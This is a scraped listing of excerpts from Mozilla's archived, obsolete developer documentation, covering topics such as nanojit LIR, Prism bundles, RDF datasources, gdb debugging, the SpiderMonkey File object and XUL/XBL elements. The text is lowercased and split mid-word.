...tion successful.\n"); // call the compiled function. typedef js_fastcall int32_t (*addtwofn)(int32_t); addtwofn fn = reinterpret_cast<addtwofn>(f->code()); printf("2 + 5 = %d\n", fn(5)); return 0; } code explanation interesting part are the lines 46-50: // write a few lir instructions to the buffer: add the first parameter // to the constant 2. out.ins0(lir_start); lins *two = out.insi
mm(2); lins *firstparam = out.insparam(0, 0); lins *result = out.ins2(lir_add, firstparam, two); out.ins1(lir_ret, result); basically, what the code provided above is doing is feeding raw lir into the lir buffer, using the lirwriter's writer object. from an operational point of view, it is creating a function, which takes an integer input, and adds it to two, and outputs the result. the function...
Bundles - Archive of obsolete content
the bundle can hold additional resources currently limited to: application ini settings application icon script for the application chrome, not the web content installing a bundle when prism opens a webapp bundle it will unpack it into the webapps/{webapp-id} folder. this folder is located in the application data folder of the user's home directory on windows, in the ~/.webapps directory on linux and under ~/library on os x. since this folder maybe be located in a directory that requires elevated privileges, the web application should not write data to it. ...
...ctory on windows, in the ~/.webapps directory on linux and under ~/library on os x. since this folder maybe be located in a directory that requires elevated privileges, the web application should not write data to it. the application profile directory can be used instead for this purpose. note: the webapp must have an id in order to be installed. ...
...the web application is then launched without the unpacking overhead. a bundle can also be installed from firefox via the prism extension for firefox. ...
RDF Datasource How-To - Archive of obsolete content
this document is a cookbook that describes how to create a native, client-side datasource that works with mozilla's rdf implementation. it supersedes (and borrows from) the original document put together by robert churchill. ...
...f statements. for example, a "file system datasource" would translate the file system into statements like "/tmp is a directory" and "/tmp/foo is contained within /tmp". an "imap datasource" would use the imap protocol to translate your mail server's inbox as a collection of statements like "message number 126's subject is 'make money fast on the internet'" and "message number 126 was sent by 'spa
mmer128@hotmail.com'". an "address book" datasource could translate a database file into statements like "spa
mmer128@hotmail.com's real name is 'billy dumple'" and "spa
mmer128@hotmail.com is considered an 'important friend'." statements from one datasource can be combined with statements from another datasource using a composite datasource. by combining statements from the imap datasource and addres...
...his way. you'll probably need to choose this implementation if your datasource is "live", and may be modified or altered by some outside agent (e.g., new mail arriving). you may also need to choose this implementation if the data set which your datasource is modeling is too large to fit in to memory (e.g., the entire file system structure). [more info on what each method needs to do here] rdf co
mmands [describe what co
mmands are, and why you'd implement them.] registering the datasource component a datasource is an xpcom component. as such, it must (currently, see [1]) have: an xpcom clsid to identify the data source implementation an implementation class (that corresponds to the clsid) whose code lives in a dll. the dll must be located in the xpcom components directory a factory that is ...
Remote debugging - Archive of obsolete content
the crash victim should at least know how to run a debugger, if not how to use it, and should have a debug build of firefox handy. this requires quite a bit of trust, in both directions. the developer trusts that his time is not being wasted: the crash is a real bug in firefox. (that is, there's a legitimate reason it happens only on some computers, but that reason just hasn't been discovered.) the crash victim, in turn, trusts the developer with full access to his computer. a good place to start is a detailed stack (in gdb, use bt followed by bt full). ...
..., but also the values they were passed. core dump a core dump includes all of the memory of a crashed program. it allows you to see the crash in a debugger even after the program has long exited. transferring a core dump is tricky, because it is large and can contain private information. core dumps on mac and linux to generate a core dump on mac, type "ulimit -c unlimited", run firefox from the co
mmand line, and make firefox crash. when firefox crashes, a core will be placed in /cores. you can then load the core file into gdb (gdb firefox-bin corefile), and it will be as if you caught the crash while running firefox under gdb! when transferring a mac or linux core dump, you'll also have to transfer the firefox executable (and maybe more). core dumps on windows on windows you can produce a "m...
...ac or linux core dump, you'll also have to transfer the firefox executable (and maybe more). core dumps on windows on windows you can produce a "minidump". see here for instructions on how to do so with microsoft's free debugger, windbg. debugging over bugzilla explain in the bug that you have a core file or can reproduce the crash as many times as needed. the developer can give you appropriate co
mmands to type into the debugger. examples: 367650, 374356, 393325, 418139 debugging over irc find the developer on irc and explain that you've caught the bug in a debugger. since debugging usually requires printing many objects, this is much faster than debugging over bugzilla. use pastebin.mozilla.org for anything too long to paste into irc. examples: 391851 share your computer with remote deskto...
File object - Archive of obsolete content
ential source of huge security holes, and not well tested. getting started in order to use the file object from your javascript programs, you must enable it by setting the make variable js_has_file_object during the compilation of your spidermonkey engine. if you are building a standalone version of spidermonkey (see: spidermonkey build documentation), this variable can be added on the make co
mmand line, like so: cd mozilla/js/src make -f makefile.ref js_has_file_object=1 alternatively, if you are building a larger product (such as a browser) and want to include the file object, you may need to perform minor makefile surgery. su
mmary non-standard server-side object this object lets you work files and directories on the local filesystem, and create os pipelines. creating a pipeline ...
... filesystem access is implemented with nspr i/o functions, and as such shares many semantics. pipelines are implemented with the popen() system call. there is currently no support for p2open()-like semantics. ...
... pipeline) methods file.open() opens the file, specifying file mode and type. file.close() closes the file. file.remove() removes the file, provided it is not open. file.copyto() creates a verbatim copy of the file at a new location. file.renameto() removes the file. file.flush() flushes the operating system's write buffers for the file and blocks until any pending data has been co
mmitted to disk. file.seek() moves the file position pointer forward or backwards. file.read() read a fixed number of bytes from the file. file.readln() read line from the file. file.readall() read the entire file in, returning an array of lines. file.write() write bytes to the file. file.writeln() write bytes to the file, followed by a line separator, flushing the buffer if file.hasauto...
Table Layout Strategy - Archive of obsolete content
the auto-layout mechanism is implemented in basictablelayoutstrategy.cpp the fixed-layout in fixedtablelayoutstrategy.cpp. all these files are in the layout/html/table/src subdirectory. the code the layout strategies are invoked from nstableframe::reflow. the overload of the initialize and balancecolumnwidths routines depends on the table style and is decided at runtime. on the first reflow nstableframe::balancecolumnwidths is called. ...
...s distributed over a large number of subroutines as shown in the chart below. the words the table layout is width oriented and knows the following widths: minimum content width - min the minimum width that is required to layout the content, all linebreak possibilities will be used percent width - pct the cell width specified in percent, fixed width - fix the cell width specified as px,
mm etc., proportional width - prop the cell width specified via 1*, 2* etc. and the desired width - des the width the content could fill without any linebreaks. cells can be members of colspans. these colspans have to distribute their space to the columns they include. this information is hold in the adjusted width's. due to this there are 10 width informations for every column. min_con de...
...fy the requirements on a first come first serve base. the second table has <col width="40%"><col>. ie and opera handle this pretty much the same as mozilla. original document information author(s): bernd mielke last updated date: september 27, 2003 copyright information: portions of this content are © 1998–2007 by individual mozilla.org contributors; content available under a creative co
mmons license | details. ...
URIs and URLs - Archive of obsolete content
ocally retrievable resources is a central part of necko. resources are identified by uri "uniform resource identifier" (taken from rfc 2396): uniform uniformity provides several benefits: it allows different types of resource identifiers to be used in the same context, even when the mechanisms used to access those resources may differ; it allows uniform semantic interpretation of co
mmon syntactic conventions across different types of resource identifiers; it allows introduction of new types of resource identifiers without interfering with the way that existing identifiers are used; and, it allows the identifiers to be reused in many different contexts, thus permitting new applications or protocols to leverage a pre-existing, large, and widely-used set of resource identifiers. ...
... is now part of xpcom, but started as part of necko. the information how to escape each segment is stored in a matrix. also a string should not be escaped more than once. necko will not escape an already escaped character unless forced by a special mask that can be used if it is known that a string is not escaped. parsing urls rfc 2396 defines an url parser that can deal with the syntax that is co
mmon to most url schemes that are currently in existence. sometimes scheme specific parsing is required. also to be somewhat tolerant to syntax errors the parser has to know more about the specific syntax of the urls for that scheme. to stay almost generic necko contains three parsers for the main classes of standard urls. which one has to be used is defined by the implementation of nsiprotocolhandl...
... ...
Using gdb on wimpy computers - Archive of obsolete content
: autoregistering begins. [...] it's easy to define a function for gdb to do this for you automatically. you can add this function to the .gdbinit file in your home directory: def prun tbreak main run set auto-solib-add 0 end how do i load shared libraries? if you have turned off automatic shared library loading, you will have to load them when you need them. gdb has a co
mmand to load libraries while the program is running. this is the sharedlibrary co
mmand. it can be shortened to shar when used in gdb. the argument to the co
mmand is a regular expression for the libraries to be loaded. here's what it looks like in the 4.18 version of the debugger: ^c program received signal sigint, interrupt. 0x404ccdeb in __sigsuspend (set=0xbf5ffbc0) at ../sysdeps/unix/sysv/li...
... no such file or directory. current language: auto; currently c (gdb) shar gtk reading symbols from /usr/lib/libgtk-1.2.so.0...done. loaded symbols for /usr/lib/libgtk-1.2.so.0 reading symbols from /usr/lib/gtk/themes/engines/libthinice.so...done. ...
...ls for /usr/lib/libgtk-1.2.so.0 reading symbols from /usr/lib/gtk/themes/engines/libthinice.so...done. loaded symbols for /usr/lib/gtk/themes/engines/libthinice.so (gdb) as you see above, it's possible to load more than one library with the same load co
mmand in gdb. ...
Venkman - Archive of obsolete content
venkman introduction an overview and some practical examples of using the javascript debugger in web development. using breakpoints in venkman this article describes breakpoints in javascript and how to use venkman to set and examine breakpoints. learning the javascript debugger venkman written by svend tofte to the javascript progra
mmers who are not familiar with other debugging tools. venkman faq answers to co
mmon questions on venkman. venkman internals notes on venkman source code. venkman development page older news and releases. view all... brief history in 1998, john bandhauer was in charge of creating the netscape 4.x javascript debu...
... firefox add-ons as an extension. nvu and kompozer javascript debugger extension version 0.9.84 is available from nvu's downloads page. we encourage you to use the latest available version 0.9.87.1 (or higher) with firefox instead. source code the source code for venkman may be found in mercurial at the following url: http://hg.mozilla.org/venkman/su
mmary co
mmunity view mozilla forums... mailing list newsgroup rss feed irc: #venkman on irc.mozilla.org report a bug in venkman if you find a problem with venkman, please follow directives mentioned at venkman faq section 5.4 and then you may report a bug on javascript debugger component. related topics javascript, web development,...
... a bug on javascript debugger component. related topics javascript, web development, developing mozilla original document information author(s): robert ginda other contributors: doctor unclear last updated date: july 13, 2007 copyright information: portions of this content are © 1998–2007 by individual mozilla.org contributors; content available under a creative co
mmons license | details. ...
Windows Install - Archive of obsolete content
nction verifies disk space in kilobytes function verifydiskspace(dirpath, spacerequired) { var spaceavailable; // get the available disk space on the given path spaceavailable = filegetdiskspaceavailable(dirpath); // convert the available disk space into kilobytes spaceavailable = parseint(spaceavailable / 1024); // do the verification if(spaceavailable < spacerequired) { logco
mment("insufficient disk space: " + dirpath); logco
mment(" required : " + spacerequired + " k"); logco
mment(" available: " + spaceavailable + " k"); return(false); } return(true); } function updatewinreg4ren8dot3() { var fprogram = getfolder("program"); var ftemp = getfolder("temporary"); //notes: // can't use a double backslash before subkey // - windows al...
....windowsgetshortname(flongfilepath); if(sshortfilepath) { fren8dot3ini.writestring("rename", sshortfilepath, flongfilepath); binicreated = true; } } if(binicreated) updatewinreg4ren8dot3() ; } return(0); } // main var srdest; var err; var fprogram; srdest = 449; err = initinstall(prettyname, regname, "6.0.0.2000110801"); logco
mment("initinstall: " + err); fprogram = getfolder("program"); logco
mment("fprogram: " + fprogram); if(verifydiskspace(fprogram, srdest)) { setpackagefolder(fprogram); err = adddirectory("", "6.0.0.2000110801", "bin", // dir name in jar to extract fprogram, // where to put this file // (returned from getfolder) "", // subdir name to create relative to fprogram ...
...fprogram = getfolder("program"); logco
mment("fprogram: " + fprogram); if(verifydiskspace(fprogram, srdest)) { setpackagefolder(fprogram); err = adddirectory("", "6.0.0.2000110801", "bin", // dir name in jar to extract fprogram, // where to put this file // (returned from getfolder) "", // subdir name to create relative to fprogram true); // force flag logco
mment("adddirectory() returned: " + err); // check return value if(err == success) { err = performinstall(); logco
mment("performinstall() returned: " + err); } else cancelinstall(err); } else cancelinstall(insufficient_disk_space); // end main ...
modDateChanged - Archive of obsolete content
method of file object syntax boolean moddatechanged (filespecobject asourcefolder, number anolddate); parameters the moddatechanged method has the following parameters: asourcefolder a filespecobject representing the file to be queried. anolddate a double representing the date. returns a boolean value indicating whether the file has been modified since the input date or has not. description most often, the date passed in as the second parameter in moddatechanged is the returned value from a moddate on a separate file, as in the following example, in which the dates of two files are compared. ...
...n as the second parameter in moddatechanged is the returned value from a moddate on a separate file, as in the following example, in which the dates of two files are compared. ...
...file.moddate(filesource1); // the baseline returned err2 = file.moddatechanged(filesource1, err1); logco
mment("file.moddatechanged should return 'false' = " + err2); // the reason it expects false is we're comparing // the return 'time stamp' value for // file1.txt with the actual file1.txt itself. // thus, no change in 'time stamp' values. err3 = file.moddatechanged(filesource2, err1); logco
mment("file.moddatechanged should return 'true' = " + err2); // the reason it expects true is we're comparing // the return 'time stamp' value for // file1.txt with another file, file2.txt, with a different // 'time stamp' value. ...
XPJS Components Proposal - Archive of obsolete content
entation. see the status document for more recent info on the status of this proposal. draft 1.0 what are xpjs components? xpjs components is a (cheesy) name for a system to support xpcom components written in javascript. now, you might ask: "isn't that what xpconnect does?" and i would answer that xpconnect is necessary, but not sufficient to the task. xpconnect provides the mechanisms for co
mmunication between native and js xpcom components, but it does not provide all of the infrastructure to register and instantiate js components outside of the limitations of the browser window. xpjs will provide that infrastructure. so what does this mean? the xpjs component system will support implementing xpcom services, factories, and components in javascript. it will support service and factor...
... and call the nsgetfactory function. our friend xpconnect will convert the js object returned from the js module's nsgetfactory function into an xpcom object. the component manager (and anyone else with a reference to that factory) can then call the factory's createinstance method at will. the js module is free to implement factories and components and services that the factories construct on co
mmand. any code anywhere and implemented in any language can get to these things via the component and service managers. the xpjsmanager is loosely in charge of the lifetime of each xpjs module. javascript is garbage collected and one can not force an object to be deleted or the compiled code to be unloaded [except by deleting the jsruntime; i.e. erasing the entire js universe]. in c if a module ge...
...mponent manager that would result in nsgetfactory calls into the module will force the xpjsmanager to load up a new instance of the .js file and start over. ...
buttons - Archive of obsolete content
« xul reference home buttons type: co
mma-separated list of the values below a co
mma-separated list of buttons to appear in the dialog box. the buttons will be placed in suitable locations for the user's platform and basic event handling will be performed automatically. the following values can be used in the list: accept: the ok button, which will accept the changes when pressed. this button will also be the default button. cancel: the cancel button which will cancel the operation. help: a help button for displaying help about the dialog. disclosure: a button to show more information. this might be a button or a disclosure triangle. extra1: an optional additional button. ...
...changes when pressed. this button will also be the default button. cancel: the cancel button which will cancel the operation. help: a help button for displaying help about the dialog. disclosure: a button to show more information. this might be a button or a disclosure triangle. extra1: an optional additional button. you can set its label with the buttonlabelextra1 attribute and its co
mmand with the ondialogextra1 attribute. extra2: a second optional additional button. you can set its label with the buttonlabelextra2 attribute and its co
mmand with the ondialogextra2 attribute. note: if you don't want to display any buttons in the dialog box, set the value of this attribute to "," (a single co
mma). warning: if the accept and cancel buttons are actually shown is system dep...
...the accept button is therefore unnecessary and is hidden. the cancel button might be shown as an additional possibility to close the dialog in this situation (windows and linux) or might be hidden, too (mac os). ...
events - Archive of obsolete content
focus: occurs when the focused element changes. select: occurs when the selected text changed. clipboard: occurs when the clipboard is changed. ...
... focus: occurs when the focused element changes. select: occurs when the selected text changed. clipboard: occurs when the clipboard is changed. ...
... focus: occurs when the focused element changes. select: occurs when the selected text changed. clipboard: occurs when the clipboard is changed. ...
Attribute (XUL) - Archive of obsolete content
sclosure buttonaccesskeyextra1 buttonaccesskeyextra2 buttonaccesskeyhelp buttonalign buttondir buttondisabledaccept buttonlabelaccept buttonlabelcancel buttonlabeldisclosure buttonlabelextra1 buttonlabelextra2 buttonlabelhelp buttonorient buttonpack buttons checked checkstate clicktoscroll class closebutton closemenu coalesceduplicatearcs collapse collapsed color cols co
mmand co
mmandupdater completedefaultindex container containment contentcontextmenu contenttooltip context contextmenu control crop curpos current currentset customindex customizable cycler datasources decimalplaces default defaultbutton defaultset description dir disableautocomplete disableautoselect disableclose disabled disablehistory disablekeynavigation disablesecur...
...t-tab left linkedpanel max maxheight maxlength maxpos maxrows maxwidth member menu menuactive min minheight minresultsforpopup minwidth mode modifiers mousethrough movetoclick multiline multiple name negate newlines next noautofocus noautohide noinitialfocus nomatch norestorefocus object observes onbeforeaccept onbookmarkgroup onchange onclick onclosetab onco
mmand onco
mmandupdate ondialogaccept ondialogcancel ondialogclosure ondialogextra1 ondialogextra2 ondialoghelp onerror onerrorco
mmand onextra1 onextra2 oninput onload onnewtab onpageadvanced onpagehide onpagerewound onpageshow onpaneload onpopuphidden onpopuphiding onpopupshowing onpopupshown onsearchcomplete onselect ontextco
mmand ontextentered ontextrevert ontextrevert...
... pageincrement pagestep parent parsetype persist persistence phase pickertooltiptext placeholder popup position predicate preference preference-editable primary priority properties querytype readonly ref rel removeelement resizeafter resizebefore rows screenx screeny searchbutton searchsessions searchlabel selected selectedindex seltype setfocus showcaret showco
mmentcolumn showpopup size sizemode sizetopopup smoothscroll sort sortactive sortdirection sortresource sortresource2 spellcheck src state statedatasource statusbar statustext style subject substate suppressonselect tabindex tabscrolling targets template timeout title toolbarname tooltip tooltiptext tooltiptextnew top type uri useraction validate value var visua...
Building accessible custom components in XUL - Archive of obsolete content
ys to move between cells.) that means that we don't want to make every label and description element focusable. after much experimentation, i found the solution for this. we need to set the containing grid to be focusable, which will put the spreadsheet itself in the tab order. the individual cells, row headers, and column headers are not in the tab order, but we can still set focus to them progra
mmatically using javascript whenever the user clicks a specific cell. but since the individual cells are not in the tab order, clicking on a spreadsheet cell and tabbing off will move to the spreadsheet's next sibling control, which is what we want. the only remaining issue is that when the spreadsheet regains focus (by pressing shift-tab, or cycling all the way around the tab order and coming back ...
...ser clicks a specific cell. but since the individual cells are not in the tab order, clicking on a spreadsheet cell and tabbing off will move to the spreadsheet's next sibling control, which is what we want. the only remaining issue is that when the spreadsheet regains focus (by pressing shift-tab, or cycling all the way around the tab order and coming back into the spreadsheet), we need to progra
mmatically reset the focus to the previously focused cell. this is handled in the spreadsheet_focus function, which is registered as a handler for the focus event. <code> var gfocuscell = null; function install_handlers() { var spreadsheet = window.document.getelementbyid('accjaxspreadsheet'); spreadsheet.addeventlistener('focus', spreadsheet_focus, true); spreadsheet.addeventlistener('...
...currently focused cell. similarly, navigating down one row simply requires finding the next sibling of the currently focused cell. but navigating left and right is more difficult, since the cells are laid out in columns. we need to find the nth child of the previous column. ...
Accessing Files - Archive of obsolete content
s to used in a portable way. because string paths are not used, references to files in a file object are made relative to some starting directory. a number of starting directories may be used, for instance, the user's home directory, the desktop, the system's temporary folder, and so forth. once one of these starting directories is determined, a file reference may be created relative to this. a co
mmon case is to write a file in the directory that holds the user's preferences. this is a convenient location where an extension might save a file it needs to use. this directory is referred to as the user's profile directory. to get a reference to a file object use nsiscriptableio.getfile(). the following example will retrieve a reference to a file named sample.txt located in the profile directory...
...provides is nsiscriptableio.getfile() which returns a new nsifile object. the first argument to nsiscriptableio.getfile() is the starting directory from which to locate a file. in the example above the word 'profile' is used, which means start from within the user's profile directory. the actual location of this directory will vary by user and system, so this is a convenient means to refer to a co
mmon directory without having to locate it yourself. for a full list of starting directories, see starting directories below. the second argument to nsiscriptableio.getfile() is the filename to locate, which, here, is 'sample.txt'. the result is that a reference is made to the 'sample.txt' file. it is important to note that this file does not have to exist for a file reference to be valid. that is, ...
...leio.getfile(), listed in the following table. application the directory of the executing application. for firefox, for instance, this will be the directory where firefox is installed. for a xulrunner application, this will be the directory where the application is installed. working the current working directory. if the application was launched from a co
mmand line, for instance, this will be the directory where the application was launched from, which may be different from the 'application' value. profile the profile directory where preferences are stored. desktop the desktop directory. usually, you would use this as the default directory for saving files. components the components d...
findbar - Archive of obsolete content
y either setting the findbar's browserid attribute to the id of the browser element before the findbar element is bound, or by setting the findbar's browser property to the browser element itself. attributes browserid, findnextaccesskey, findpreviousaccesskey, highlightaccesskey, matchcaseaccesskey properties browser, findmode methods close, onfindagainco
mmand, open, startfind, togglehighlight example <browser type="content-primary" flex="1" id="content" src="about:blank"/> <findbar id="findtoolbar" browserid="content"/> attributes browserid type: string the id of the browser element to which the findbar is attached. this attribute is only used when the findbar is constructed. you should use the browser property to get and set this val...
...e: browser element lets you set and get the browser in which the findbar is located. findmode type: integer read only. the find mode in use. ...
...otification or findbar and removes it from its enclosing notificationbox or findbar. open( mode ) return type: no return value opens the findbar using the specified mode, which should be one of find_normal, find_typeahead, or find_links. if you don't pass a mode, the last-used mode for the same findbar is used. if the findbar hasn't been used before, find_normal is the default. onfindagainco
mmand( findprevious ) return type: no return value call this method to handle your application's "find next" and "find previous" co
mmands. you should specify true as the input parameter to perform a "find previous" operation, or false to perform a "find next." startfind( mode ) return type: no return value call this method to handle your application's "find" co
mmand. this opens the findbar, focu...
How to implement a custom XUL query processor component - Archive of obsolete content
we are not really using the datas...
...late> <row uri="?"> <label value="?name"/> <label value="?age"/> <label value="?hair"/> <label value="?eye"/> </row> </template> </rows> </grid> </window> a few things to note. we are not really using the datasources in our sample component, so we set it to a du
mmy value. an empty string would be ok too. the querytype is important. it is used to create an instance of our xpcom object. the contract id of our xpcom component should be of the form "@mozilla.org/xul/xul-query-processor;1?name=xxx", where the xxx is the querytype used in the xul template block. here is our sample javascript xpcom query processor: components.utils.import("resource://gre/module...
...x++]); } }; // the query processor class - implements nsixultemplatequeryprocessor function templatequeryprocessor() { // our basic list of data this._data = [ {name: "mark", age: 36, hair: "brown", eye: "brown"}, {name: "bill", age: 25, hair: "red", eye: "black"}, {name: "joe", age: 15, hair: "blond", eye: "blue"}, {name: "ji
mmy", age: 65, hair: "gray", eye: "dull"} ]; } templatequeryprocessor.prototype = { queryinterface: xpcomutils.generateqi([components.interfaces.nsixultemplatequeryprocessor]), classdescription: "sample xul template query processor", classid: components.id("{282cc4ea-a49c-44fc-81f4-1f03cbb7825f}"), contractid: "@mozilla.org/xul/xul-query-processor;1?name=simpledata", getda...
MenuModification - Archive of obsolete content
method may be used to append a new item to the end of the popup associated with a menu. this method will create a new menuitem element and insert it into the popup. this method may only be used with the menu element. <script> function addtomenu() { var menu = document.getelementbyid("edit-menu"); menu.appenditem("insert", "insert"); } </script> <menu id="edit-menu"/> <button label="add" onco
mmand="addtomenu()"/> in this example, the addtomenu function is called when the button is pressed. this function appends a new item to the menu's popup with the label insert. the first argument to appenditem is the label of the menuitem, and the second argument is a value to associate with the item. this value be set as the menuitem's value attribute and can be used for whatever purpose is desire...
...to append a new item. <script> function addsubmenu() { var popup = document.getelementbyid("file-popup"); var newmenu = document.createelement("menu"); popup.appendchild(newmenu); newmenu.label = "new"; newmenu.appenditem("document", "doc"); newmenu.appenditem("image", "image"); } </script> <menu label="file" onpopupshowing="addsubmenu()"> <menupopup id="file-popup"/> </menu>. co
mment: appenditem not working in tb 52.7.0. workaround: add menupopup to menu. then add menuitem to menupopup (all with appendchild to their parentelement). also, need replace newmenu.label= "new" by newmenu.setattribute("label", "new"); (all when creating from bootstrap.js in a bootstrapped addon) the addsubmenu function is called during the popupshowing event, which will be fired when an attempt...
...en. the first time the function is called, the haschildnodes method will return false, however the second time, the method will return true as the items have already been added to the menu. removing items from a menu to remove an item from the menu, use the removeitemat method. it takes a single argument, the index of the item to remove. in this example, an item is appended to a menu, and then i
mmediately removed again. menu.appenditem("open", ""); menu.removeitemat(menu.itemcount - 1); the itemcount property holds the number of items within the menu. to remove all of the items from a menu, you may wish to simply remove the menupopup directly, instead of removing each item individually. ...
Panels - Archive of obsolete content
ript. for example, the following would open a panel underneath a button: panel.openpopup(button, "after_start", 0, 0, false, false); likewise, the openpopupatscreen method will open a panel at a specific screen position. for more details about both methods, see opening and closing popups. closing a panel a panel is closed automatically when the user clicks outside of the panel. it is quite co
mmon however, to have an element such as a button within the panel to close it as well. for instance, using the search panel example above, we could add a button which closes the panel when pressed: <script> function dosearch() { document.getelementbyid("search-panel").hidepopup(); } </script> <toolbarbutton label="search" type="panel"> <panel id="search-panel" position="after_start"> <tex...
...thin the panel to close it as well. for instance, using the search panel example above, we could add a button which closes the panel when pressed: <script> function dosearch() { document.getelementbyid("search-panel").hidepopup(); } </script> <toolbarbutton label="search" type="panel"> <panel id="search-panel" position="after_start"> <textbox id="search"/> <button label="search" onco
mmand="dosearch();"/> </panel> </toolbarbutton> in this example, the dosearch() function is called when the "search" button is pressed. this function retrieves the popup and calls the hidepopup method. naturally, this function would also include code to start the search operation. preventing panels from automatically closing a panel will be closed when a user clicks outside of the panel or whe...
...ton within the panel, especially if the panel is larger with a lot of controls within it. sometimes, however, you may wish to keep the panel open, even if the user clicks outside of it. this is useful when creating floating tool panels. to do this, set the noautohide attribute on the panel to true. <panel id="search-panel" noautohide="true"> <textbox id="search"/> <button label="search" onco
mmand="dosearch();"/> <button label="cancel" onco
mmand="this.parentnode.hidepopup();"/> </panel> because the panel can no longer be closed by clicking elsewhere, the panel should always provide a means to close the panel itself. in this example a cancel button has been added. for more information about these types of panels, see floating panels. focus in panels elements within panels may be f...
Additional Navigation - Archive of obsolete content
« previousnext » retrieving literals the triples used so far have all had variables in both the subject and object. however, a string value may be used instead. since the subject of an rdf arc is always a resource, the subject may be a resource uri. the object attribute may be a resource uri or a literal value. using a literal as the object of a triple is a co
mmon way to filter out specific items. for instance, if items were identified with a type, the data could be filtered to include only items of a particular type. here is an example triple that we could use in the photos example: <query> <content uri="?start"/> <member container="?start" child="?photo"/> <triple subject="?photo" predicate="http://purl.org/dc/elements/1.1/title" object="canal"/...
.../purl.org/dc/elements/1.1/title" object="?title"/> </query> in this case when the template builder gets to the triple, neither the ?category nor the ?title variables can be filled in so the builder doesn't know what to generate. the builder won't generate any output in this situation. the member tag must have variables for both the container and child attributes. it wouldn't be very co
mmon to filter for a specific child anyway. source navigation triples may also be used to navigate up the graph as well as downwards, following the graph arrows in the reverse direction. for instance, in the original example, we could start at node d and navigate upwards to a and c. the syntax for the triple is the same except that the known variable should be placed in the triple's object attribu...
...ually, however you will want to iterate only over the children of a node using a member tag and instead use a triple or binding for each predicate of each child that you wish to display. this is the way that the template system was originaly designed to be used and many of the datasources used by firefox and other mozilla products work with datasources in this way. retrieving parents a very unco
mmon form of navigation you can also do is to navigate upwards using a member tag, that is to get all the parents of a node, as in this example: <query> <content uri="?start"/> <member container="?parent" child="?start"/> </query> this might be used, for instance, to start at a particular photo and find all of the containers that it is inside. « previousnext » ...
Special Condition Tests - Archive of obsolete content
the first of these tests can be used to test if an element is a container or not. to use this test, place an iscontainer attribute on a <rule>. the iscontainer attribute should be set to true if you only want to match containers, and false if you only want to match non-containers. a container is an rdf container such as a seq. the iscontainer attribute makes it easie...
...alse if you only want to match non-containers. a container is an rdf container such as a seq. the iscontainer attribute makes it easier to handle recursive content since you can have one rule for all containers and another rule for all non-containers. you don't need to match by type or some other predicate. this allows you to recurse down to larger levels without needing additional rules. it is co
mmonly used with menus, and we can rewrite the previous example using the iscontainer attribute instead. <button label="houses in my neighbourhood" type="menu" datasources="template-guide-streets.rdf" ref="http://www.xulplanet.com/rdf/myneighbourhood"> <template> <rule iscontainer="true"> <menupopup> <menu uri="rdf:*" label="rdf:http://purl.org/dc/elements/1.1/tit...
...s tests the second special condition attribute tests for empty containers. this invloves setting the isempty attribute on a rule to either true or false. setting it to true will match all empty containers, that is, containers with no children. setting it to false will match all containers that have at least one child. leaving out the isempty attribute will match anything. this condition test is co
mmonly used to display the generated content differently for empty and non-empty containers. you will co
mmonly use the two attributes iscontainer and isempty together in different combinations to create the effect you need. typically, this will mean one rule for a container with children, a second rule for empty containers, and a third rule for non-containers. considering the case of bookmarks, the ...
Template Logging - Archive of obsolete content
le, except that a result with the same id is being removed from the first query instead. note that this result is active and an indication is made in parantheses that there is no longer any active query. this indicates that the generated content will be removed. the log may instead indicate that another query is active; this would mean that the content for a different query is now generated. to su
mmarize, the following forms of message may be logged: new active result for query 1 matching rule 2 a new data result has been added. in this example, the result matches the second rule of query 1. the generated content is from rule 2 of query 1. new inactive result for query 2 (overridden by query 1) a new data result has been added for query 2, but an earlier query 1 overrides it. the generated ...
...he object attribute was not set. neither container or child variables of <member> has a value this indicates that a <member> was being checked and yet neither the variables specified for the container or the child have a value for a result. this error will occur while processing a result and will often repeat for each result. this error generally indicates an error in the logic of the template. co
mmon errors are misspelled variable names or <member> and <triple> elements placed in the wrong order. note that this error does not occur simply because, for example, a particular container has no children; it means that a logic error in the query implies that a variable could never be computed properly. an example is given below this list of errors. neither subject or object variables of <triple> ...
...="?uri" child="?person"> <triple subject="?person" predicate="http://example.com/name" object="?name"/> <content uri="?uri"> <member container="?uri" child="?human"> <triple subject="?person" predicate="http://example.com/name" object="?name"/> note that subtle difference in these examples. the child attribute on the <member> element is different. the first example generates no error and is a co
mmon template query pattern. the second example, however, has an error. the triple refers to two variables (?person and ?name) that aren't used in earlier tags. it's likely that the author here had meant to use the first example, or had meant to change the value of the subject attribute to ?human to match. however, it is important to note that an error will not be printed simply if data didn't exist...
Complete - Archive of obsolete content
depend on the locale or theme locale files for each locale skin files for each theme version checks firefox etc. check extensions for compatibility before installing them. these version checks depend on the version numbers specified in the install.rdf file. there are two approaches: pessimistic and optimistic. the approach that is normally reco
mmended is pessimistic. the extension is assumed to fail in any future version of the application. to adopt this approach, set the maxversion to the latest actual version where you have tested your extension. the problem with this approach is that you have to release a new xpi every time there is a new release of any of the applications it supports. if you delay releasing a new xpi, you risk annoyin...
... the url: chrome://allcustom/locale/install.properties again, the application's chrome registry converts this url to the correct file for the locale you are using. for example, if your locale is fr-fr, it gets the description from: locale/fr-fr/allcustom/install.properties testing a locale to test the alternative locale, install the extension in the normal way. restart the application using the co
mmand line switch: -uilocale fr-fr (of course, if your application is already in french, specify en-us here to switch the extension to english.) notes: if you use a shortcut or launcher icon to start the application, then you can add the co
mmand line switch by editing the icon's properties. the application's user interface only switches language if you have the appropriate language pack install...
...perties. the application's user interface only switches language if you have the appropriate language pack installed. but this extension switches between english and french without needing any language pack. some versions of firefox etc. have a bug that prevents this from working. to work around the bug, close the application, delete the file xul.mfl in its profile, then restart it with the co
mmand line switch. firefox etc. support specifying the language alone, without any region—for example, just: -uilocale fr seamonkey does not support this. themes a theme changes the appearance of the user interface, affecting fonts, colours, graphics, and sometimes layout. a theme consists of a skin for each component. this extension is just one component, allcustom, so it contains a skin for t...
Adding Properties to XBL-defined Elements - Archive of obsolete content
or disabled, but they do not have to. the name attribute on the field element is used to indicate the name of the field. you can use the name from a script to get and set the value. the example below creates a button which generates and stores a random number. you can retrieve this same number multiple times by getting the number property from the button. ...
...ript to get and set the value. the example below creates a button which generates and stores a random number. you can retrieve this same number multiple times by getting the number property from the button. most of the work here is done in the onco
mmand handlers. later, we'll find out how to move this to xbl. xul: <box id="random-box" class="randomizer"/> <button label="generate" onco
mmand="document.getelementbyid('random-box').number=math.random();"/> <button label="show" onco
